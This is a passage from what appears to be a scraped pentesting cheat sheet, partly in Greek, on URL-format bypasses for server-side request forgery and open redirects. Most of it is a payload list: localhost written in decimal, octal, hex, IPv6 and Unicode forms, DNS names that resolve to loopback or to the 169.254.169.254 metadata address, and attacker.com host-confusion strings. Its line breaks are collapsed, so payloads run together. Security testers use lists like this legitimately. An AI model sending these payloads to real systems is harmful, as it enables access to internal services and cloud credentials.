# Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Dot bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# Decimal bypasshttp://2130706433/=http://127.0.0.1http://3232235521/=http://192.168.0.1http://3232235777/=http://192.168.1.1# Octal Bypasshttp://0177.0000.0000.0001http://00000177.00000000.00000000.00000001http://017700000001# Hexadecimal bypass127.0.0.1=0x7f000001http://0x7f000001/=http://127.0.0.1http://0xc0a80014/=http://192.168.0.200x7f.0x00.0x00.0x010x0000007f.0x00000000.0x00000000.0x00000001# Mixed encodings bypass169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal,decimalandoctal# Add 0s bypass127.000000000000.1# You can also mix different encoding formats# https://www.silisoftware.com/tools/ipconverter.php# Malformed and rarelocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# DNS to localhostlocaltest.me=127.0.0.1customer1.app.localhost.my.company.127.0.0.1.nip.io=127.0.0.1mail.ebc.apple.com=127.0.0.6 (localhost)127.0.0.1.nip.io=127.0.0.1 (Resolves tothegivenIP)www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us=Resolvestowww.google.comhttp://customer1.app.localhost.my.company.127.0.0.1.nip.iohttp://bugbounty.dod.network=127.0.0.2 (localhost)1ynrnhl.xip.io==169.254.169.254spoofed.burpcollaborator.net=127.0.0.1
Η επέκταση BurpBurp-Encode-IP υλοποιεί παρακάμψεις μορφοποίησης IP.
# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded charactershttps://{domain}@attacker.comhttps://{domain}.attacker.comhttps://{domain}%6D@attacker.comhttps://attacker.com/{domain}https://attacker.com/?d={domain}https://attacker.com#{domain}https://attacker.com@{domain}https://attacker.com#@{domain}https://attacker.com%23@{domain}https://attacker.com%00{domain}https://attacker.com%0A{domain}https://attacker.com?{domain}https://attacker.com///{domain}https://attacker.com\{domain}/https://attacker.com;https://{domain}https://attacker.com\{domain}/https://attacker.com\.{domain}https://attacker.com/.{domain}https://attacker.com\@@{domain}https://attacker.com:\@@{domain}https://attacker.com#\@{domain}https://attacker.com\anything@{domain}/https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domainhttp://1.1.1.1&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com
Paths and Extensions Bypass
Αν απαιτείται ότι το URL πρέπει να τελειώνει σε μια διαδρομή ή μια επέκταση, ή πρέπει να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:
Το εργαλείο recollapse μπορεί να δημιουργήσει παραλλαγές από μια δεδομένη είσοδο για να προσπαθήσει να παρακάμψει την χρησιμοποιούμενη regex. Δείτε αυτή την ανάρτηση επίσης για περισσότερες πληροφορίες.
Automatic Custom Wordlists
Δείτε το URL validation bypass cheat sheet webapp από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.
Bypass via redirect
Είναι πιθανό ο διακομιστής να φιλτράρει το αρχικό αίτημα ενός SSRF αλλά όχι μια πιθανή απάντηση ανακατεύθυνσης σε αυτό το αίτημα.
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: url=https://www.google.com/ μπορεί να φιλτράρει την παράμετρο url. Αλλά αν χρησιμοποιήσετε έναν python server για να απαντήσει με 302 στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να πρόσβαση σε φιλτραρισμένες διευθύνσεις IP όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα πρωτόκολλα όπως το gopher.
Δείτε αυτή την αναφορά.
Η backslash-trick εκμεταλλεύεται μια διαφορά μεταξύ του WHATWG URL Standard και του RFC3986. Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (\) από το WHATWG standard ως ισοδύναμου με το forward slash (/), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL.
Αριστερό τετράγωνο αγκύλη
Ο χαρακτήρας “αριστερή τετράγωνη αγκύλη” [ στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: https://example.com[@attacker.com